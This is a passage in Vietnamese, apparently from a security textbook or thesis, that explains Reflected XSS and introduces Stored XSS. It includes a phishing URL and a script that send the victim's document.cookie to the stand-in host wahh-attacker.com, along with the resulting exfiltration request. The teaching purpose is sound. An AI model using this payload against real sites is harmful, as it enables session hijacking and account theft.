Lỗi XSS đơn giản như vậy chiếm khoản 75% các lỗ hổng XSS tồn tại trong các ứng dụng Web hiện tại Lỗi XSS này thường được gọi là Reflected XSS bởi vì việc thực hiện khai thác lỗ hổng bảo mật liên quan đến việc tạo ra yêu cầu nhúng mã JavaScript mà đoạn mã này được ánh xạ lại tới bất kỳ người dùng nào thực hiện gửi yêu cầu Payload tấn công được gửi đi và được thực thi thông qua yêu cầu từ người dùng gửi đi và hồi đáp từ server Vì lý do này mà đôi khi lỗi XSS này cũng được gọi là First-order XSS
Lỗ hổng bảo mật XSS có thể được khai thác theo nhiều cách khác nhau Một trong những cuộc tấn công XSS đơn giản nhằm lấy được session token của người dùng hợp lệ có thể được minh họa như hình 2.4 sau đây:
Trang 38Hình 2.4: Các bước thực hiên tấn công Reflected XSS
1 Người dùng thực hiện đăng nhập vào ứng dụng như bình thường và được cung cấp cookie chứa session token:
Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2 Kẻ tấn công sử dụng kỹ thuật Social Engineering nhằm cung cấp cho người dùng URL lừa đảo như sau:
https://wahhapp.com/error.php?message=<script>var+i=new+Image; +i.src=”http://wahh-attacker.com/“%2bdocument.cookie;</script> Chuỗi URL này sẽ tạo ra dialog message chứa JavaScript và thực hiện đánh cắp session token của người dùng
3 Người dùng thực hiện gửi yêu cầu tới ứng dụng với chuỗi URL mà kẻ tấn công cung cấp
4 Server hồi đáp lại yêu cầu mà người dùng đã gửi Kết quả của tấn công XSS là hồi đáp của server chứa đoạn JavaScript mà kẻ tấn công tạo ra
5 Trình duyệt của người dùng nhận được chuỗi JavaScript do kẻ tấn công tạo ra, và chuỗi JavaScipt này được thực thi trong ứng dụng phía người dùng như bất kỳ đoạn mã khác nhận được từ ứng dụng
6 Đoạn mã độc JavaScript do kẻ tấn công tạo ra như sau:
var i=new Image;
i.src=”http://wahh-attacker.com/“+document.cookie;
Khi đoạn mã này được thực thi thì trình duyệt của người dùng thực hiện gửi session token hiện tại của người dùng tới domain wahh-attacker.com do attacker sở hữu
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
HTTP/1.1
Trang 39Host: wahh-attacker.com
7 Kẻ tấn công lấy được session token của người dùng và sử dụng session token này
để chiếm phiên làm việc của người dùng nhằm lấy thông tin cá nhân, thực hiện các hành động bất hợp pháp với tư cách là người dùng hợp lệ
Sau khi thực hiện tất cả các bước trên đây, chúng ta có thể tự đặt câu hỏi rằng, nếu kẻ tấn công có thể khiến cho người dùng truy cập vào URL của mình, thì tại sao anh ta phải gửi mã độc JavaScript mà anh ta tạo ra thông qua lỗi XSS trong lỗ hổng bảo mật của ứng dụng Tại sao anh ta không thực hiện đơn giản hơn đó là xây dựng
mã độc script trên wahh-attacker.com và gửi liên kết trực tiếp đến script này cho người dùng Liệu script này có thực thi và lấy được thông tin đúng như cách đã được mô tả trong ví dụ hay không?
Thực tế, có hai lý do quan trọng để giải thích tại sao kẻ tấn công thực hiện tấn công XSS phức tạp như vậy Lý do đầu tiên và quan trọng nhất là mục đích của kẻ tấn công thực thi đoạn mã script tùy ý để lấy được session token của người dùng là không
hề đơn giản Trình duyệt không cho phép bất kỳ đoạn script truy cập vào các cookie của site, nếu không quá trình chiếm phiên làm việc trở nên quá dễ dàng Hơn nữa, cookie chỉ có thể được truy cập bởi site đã được server cung cấp Do đó, nếu script tồn tại trong wahh-attacker.com thì truy vấn document.cookie sẽ không thu được cookie được cấp cho wahh-app.com, và tấn công chiếm quyền điều khiển sẽ thất bại
Lý do tại sao kẻ tấn công khai thác thành công lỗ hổng XSS đó là: Khi trình duyệt của người dùng nhận được các yêu cầu thì mã độc JavaScript của kẻ tấn công đã được gửi tới trình duyệt thông qua wahh-app.com Khi người dùng click vào URL do
kẻ tấn công tạo ra, trình duyệt sẽ thực hiện gửi yêu cầu tới app.com/error.php, và ứng dụng sẽ trả về page chứa đoạn mã JavaScript Với bất cứ đoạn mã JavaScript nào nhận được từ wahh-app.com, trình duyệt sẽ thực thi đoạn script này Đó là lý do tại sao script của kẻ tấn công mặc dù bắt nguồn ở nơi khác, nhưng vẫn có thể truy cập được vào cookie cấp cho wahh-app.com Đó cũng là lý do tạo sao lỗ hổng bảo mật này được gọi là Cross-Site Scripting
https://wahh-Lý do thứ hai giải thích tại sao kẻ tấn công lại phải thực hiện tấn công XSS rắc rối như vậy đó là ở bước 2 đã được mô tả ở trên: Khả năng thành công khi kẻ tấn công
sử dụng URL lừa đảo có địa chỉ wahh-app.com là cao hơn so với liên kết wahhattacker.com Mục đích của kẻ tấn công cố gắng tạo sự tin tưởng của người dùng
để họ tin rằng liên kết người dùng nhận được là đáng tin cậy và họ sẽ truy cập vào liên kết đó
b) Stored XSS
Trang 40Kỹ thuật tấn công Stored XSS có thể thành công do dữ liệu người dùng cung cấp được lưu trữ trong ứng dụng, thông thường được lưu tại cơ sở dữ liệu back-end và được hiển thị tới người dùng khác mà không được lọc hoặc xử lý một cách thích hợp
Tấn công dựa vào lỗi Stored XSS thường bao gồm ít nhất hai yêu cầu liên quan đến ứng dụng Thứ nhất, kẻ tấn công gửi dữ liệu gắn mã độc và dữ liệu này được lưu trữ trong ứng dụng Thứ hai, nạn nhân xem trang có chứa dữ liệu của attacker và đoạn
mã độc được thực thi Chính vì lý do này mà lỗ hổng bảo mật này đôi khi cũng được gọi là Second-order Cross-Site Scripting
Hình 2.5 sẽ minh họa các bước thực hiện tấn công Stored XSS để chiếm phiên làm việc của người dùng